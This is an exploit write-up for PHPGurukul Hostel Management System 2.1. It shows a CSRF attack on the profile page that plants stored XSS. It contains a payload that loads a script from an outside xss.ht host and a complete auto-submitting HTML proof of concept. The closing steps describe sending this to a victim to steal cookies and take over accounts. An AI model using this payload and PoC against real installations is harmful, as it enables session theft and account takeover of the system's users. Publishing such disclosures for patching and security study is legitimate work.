# Exploit Title: PHPGurukul Hostel Management System 2.1 - Cross-site request forgery (CSRF) to Cross-site Scripting (XSS)
# Date: 2021-10-27
# Exploit Author: Anubhav Singh
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/hostel-management-system/
# Version: V 2.1
# Vulnerable endpoint: http://localhost/hostel/hostel/my-profile.php
# Tested on Windows 10, XAMPP

Steps to reproduce:

1) Navigate to http://localhost/hostel/hostel/my-profile.php
2) Enter xss payload "><script src=https://anubhav1403.xss.ht></script> in name field
3) Click on Update Profile and intercept the request in Burpsuite
4) Generate a CSRF POC of Update Profile

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/hostel/hostel/my-profile.php" method="POST">
<input type="hidden" name="regno" value="123456" />
<input type="hidden" name="fname" value=""><script src=https://anubhav1403.xss.ht></script>" />
<input type="hidden" name="mname" value="Hello" />
<input type="hidden" name="lname" value="Singh" />
<input type="hidden" name="gender" value="male" />
<input type="hidden" name="contact" value="12345678995" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="update" value="Update Profile" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```

5) Send this POC to victim
6) When victim open the POC, his/her name will be updated to our XSS payload & payload will get fires.
7) Now attacker get's the details of victim like ip address, cookies of Victim, etc
8) So attacker is able to steal Victim's cookies successfully!! Account takeover!!!
